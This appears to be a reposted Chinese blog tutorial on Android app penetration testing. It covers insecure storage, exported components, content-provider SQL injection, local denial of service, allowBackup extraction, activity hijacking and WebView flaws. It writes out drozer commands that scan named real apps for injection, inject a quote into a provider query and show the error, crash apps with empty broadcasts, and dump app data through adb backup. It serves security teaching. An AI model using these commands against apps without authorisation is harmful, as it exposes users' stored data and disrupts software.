zoukankan      html  css  js  c++  java
  • 3. 移动安全渗透测试-(Android基础漏洞)

    3.1 数据存储漏洞

    用户经常会把敏感数据交给app,比如:
    用户名and密码
    认证令牌
    联系人记录
    通信记录
    历史使用记录
    .....

    只要愿意,app可以收集这些用户的隐私和个人信息明文存储或明文传输,通常保存在本地,也不排除上传到网络
    • 本地保存
    • 网络保存

    本地保存

    • SharedPreferences
    data/data/程序包名/shared_prefs/*.xml
    创建配置文件时没有使用MODE_PRIVATE模式,导致其他程序可以读取配置文件,root用户可读

    • SQLiteDatabases


    data/data/程序包名/database/*.db
    创建数据库时没有使用MODE_PRIVATE模式


    • InternalStorage


    data/data/程序包名/files/*
    没有使用MODE_PRIVATE模式


    • ExternalStorage


    /mnt/sdcard/*


    扩展阅读
    http://www.droidsec.cn/android-database配置模式安全风险浅析/
    http://www.droidsec.cn/android本地数据存储:internal-storage安全风险浅析/

    3.2 组件暴露漏洞

    1、android:exported


    四大组件中都有的一个属性:android:exported
    export为true,表示可以被外部调用;export如果为false,表示不可以被外部调用
    <activity
    android:name=".PartActivity"
    android:theme="@android:style/Theme.Dialog"
    android:export="true">
    </activity>

    在定义四大组件时,经常是不写export这个标签的,系统默认的export是什么?
    如果四大组件包含intent-filter,那么Android系统认为这个组件可以被外部通过隐式调用,所以默认export为true
    如果四大组件不包含intent-filter,那么Android系统认为这个组件值只可以被内部通过显式调用,所以默认export为false


    2、简单测试


    adb forward tcp:31415 tcp:31415
    drozer console connect

    确定攻击面
    run app.package.attacksurface 包名
    获取activity信息
    run app.activity.info –a包名
    启动activity
    run app.activity.start --component包名 包名.XXActivity

    绕过认证
    activity暴露后被第三方调用,可能在没有密码的情况下登录/重置密码

    越权行为
    低权限程序通过调用高权限程序暴露的组件,执行高权限动作


    3、组件的权限控制


    为了增加四大组件的安全,可以定义访问某个组件需要某个权限
    <activity
    android:name=".PartActivity"
    android:theme="@android:style/Theme.Dialog" >
    android:permission="com.example.test.permission"
    </activity>

    <permission android:name="com.example.test.permission"
    android:protectionLevel="dangerous"
    android:label="test"
    android:description="test_permission" />

    如果需要使用必须在AndroidManifest.xml,通过申请权限
    调用组件者声明:<uses-permission android:name="com.example.test.permission" />
    android:protectionLevel,如果是Signature,那么只有和这个应用使用相同私钥签名的应用才可以申请这个权限。


    扩展阅读
    https://bugs.secquan.org/bugs/WooYun-2014-48501
    http://www.droidsec.cn/content-provider文件目录遍历漏洞浅析/

    3.3 APP中的SQL注入漏洞

    连接上模拟器/真机

    nox_adb.exe connect 127.0.0.1:62001

    端口转发,转发到Drozer使用的端口31415
    adb forward tcp:31415 tcp:31415


    开启Drozer console
    drozer console connect


    获取Content Provider信息
    run app.provider.info -a com.qijia.o2o

    定位到small代码com.qijia.o2o.provider.CityProvider
    content://com.qijia.o2o


    检测sql注入
    run scanner.provider.injection -a com.qijia.o2o
    Not Vulnerable:
    content://com.tencent.mm.sdk.plugin.provider/sharedpref/
    content://com.sina.weibo.sdkProvider/query/package
    content://com.tencent.mm.sdk.comm.provider/jumpToBizProfile
    content://downloads.com.qijia.o2o
    content://telephony/carriers/preferapn/
    content://com.tencent.mm.sdk.comm.provider/openRankList
    content://com.tencent.mm.sdk.comm.provider/joinChatroom/
    content://com.tencent.mm.sdk.comm.provider/createChatroom/
    content://downloads./
    content://com.tencent.mm.sdk.comm.provider/addCardToWX/
    content://com.qijia.o2o/full/
    content://com.qijia.o2o/children
    content://com.qijia.o2o/children/
    content://com.qijia.o2o/
    content://com.sina.weibo.sdkProvider/query/package/
    content://telephony/carriers/preferapn
    content://com.tencent.mm.sdk.comm.provider/openBusiLuckyMoney
    content://downloads.com.qijia.o2o/
    content://com.tencent.mm.sdk.comm.provider/jumpToBizTempSession/
    content://com.tencent.mm.sdk.comm.provider/jumpToBizProfile/
    content://orm
    content://com.qijia.o2o/full
    content://com.tencent.mm.sdk.comm.provider/addCardToWX
    content://com.tencent.mm.sdk.comm.provider/joinChatroom
    content://orm/
    content://com.tencent.mm.sdk.comm.provider/jumpToBizTempSession
    content://com.tencent.mm.sdk.plugin.provider/sharedpref
    content://com.tencent.mm.sdk.comm.provider/createChatroom
    content://com.tencent.mm.sdk.comm.provider/openWebview/
    content://com.qijia.o2o
    content://com.tencent.mm.sdk.comm.provider/openRankList/
    content://com.tencent.mm.sdk.comm.provider/openWebview
    content://downloads.
    content://com.tencent.mm.sdk.comm.provider/openBusiLuckyMoney/

    Injection in Projection:
    content://com.qijia.o2o/provinces
    content://com.qijia.o2o/provinces/

    Injection in Selection:
    content://com.qijia.o2o/provinces
    content://com.qijia.o2o/provinces/


    使sql语句报错
    run app.provider.query content://com.qijia.o2o/provinces --projection "'"
    unrecognized token: "' FROM areas WHERE parent = ''" (code 1): , while compilin
    g: SELECT ' FROM areas WHERE parent = ''

    开启一个web服务,可以和手机上的content provider连接,还可以和sqlmap联合使用
    run auxiliary.webcontentresolver


    http://localhost:8080/query?uri=content://com.qijia.o2o/provinces&projection='
    SELECT ' FROM areas WHERE parent =

    http://localhost:8080/query?uri=content://com.qijia.o2o/provinces&projection=*#
    SELECT ‘ FROM areas WHERE parent =

    SELECT * FROM areas WHERE parent =

    3.4 本地拒绝服务攻击漏洞

    Android应用本地拒绝服务漏洞源于程序没有对Intent.getXXXExtra()获取的异常或者畸形数据处理时没有进行异常捕获

    攻击者通过intent发送空数据、异常或畸形数据给受害者应用,导致其崩溃


    本地拒绝服务漏洞不仅可以导致安全防护等应用的防护功能被绕过或失效(如杀毒应用、安全卫士、防盗锁屏等)

    而且也可被竞争方应用利用来攻击,使得自己的应用崩溃,造成不同程度的经济利益损失

    测试
    确定攻击面
    dz> run app.package.attacksurface 包名
    获取activity信息
    dz> run app.activity.info -a com.nineteenlou.nineteenlou
    启动activity
    dz> run app.activity.start --component com.nineteenlou.nineteenlou com.tencent.tauth.TAuthView
    获取广播组件信息
    run app.broadcast.info -a 包名
    向广播组件发送空action
    dz> run app.broadcast.send --component包名 广播组件名


    详细分析和修复
    Android客户端信息泄露以及拒绝服务漏洞
    https://bugs.secquan.org/bugs/WooYun-2015-119959

    https://www.secpulse.com/archives/3859.html

    3.5 allowbackup备份风险

    AndroidManifest.xml 配置文件中显式配置了android:allowBackup=true
    备份
    adb backup -f E:ack.ab -noapk 包名
    可以输入密码也可以不输入

    使用android-backup-extractor(abe)工具来解析ab文件
    https://github.com/nelenkov/android-backup-extractor/releases

    java -jar abe.jar unpack back.ab applock.tar

    SmartLockConfig.xml

    实际案例:
    某密码锁未root备份:https://blog.csdn.net/qq_31387043/article/details/51452782
    微博app备份:https://blog.csdn.net/chuyouyinghe/article/details/53609806

    3.6 activity 劫持

    用户打开安卓手机上的某一应用,进入到登陆页面
    这时,恶意软件侦测到用户的这一动作,立即弹出一个与该应用界面相同的Activity,覆盖掉了合法的Activity
    用户几乎无法察觉,该用户接下来输入用户名和密码的操作其实是在恶意软件的Activity上进行的

    Activity劫持实例与防护手段
    http://blog.chinaunix.net/uid-29170659-id-4930737.html

    3.7 webview明文存储,代码执行,同源策略等其他漏洞

    WebView

    现在很多App里都内置了Web网页(Hyprid App),比如说很多电商平台,淘宝、京东、聚划算等等


    功能是由 Android的WebView 实现的
    WebView 使用过程中存在许多漏洞,容易造成用户数据泄露等等危险

    webview-file域同源策略


    http://www.droidsec.cn/webview-file域同源策略绕过漏洞浅析/

    WebView 明文存储


    案例:https://bugs.secquan.org/bugs/WooYun-2013-20246
    WebView默认开启密码保存功能 :

    myWebView.setSavePassword(true)

    WebView代码执行


    https://www.52pojie.cn/thread-322022-1-1.html
    https://blog.csdn.net/u012195899/article/details/68942725

    WormHole虫洞漏洞


    https://blog.csdn.net/jltxgcy/article/details/50686858

    应用克隆漏洞分析 https://blog.csdn.net/xwh_1230/article/details/79045251

  • 相关阅读:
    time和/usr/bin/time
    Linux系统-real/user/sys time
    PL/SQL:集合类型 (定义,分类,使用场景,集合方法)
    关于Android开发中使用的XML
    Android Studio 常用快捷键
    Android中Adapter总结
    Android 中的 Context
    Android Studio 项目结构
    Android Studio 连接真机调试
    Android Studio 入门
  • 原文地址:https://www.cnblogs.com/hack404/p/10981235.html
Copyright © 2011-2022 走看看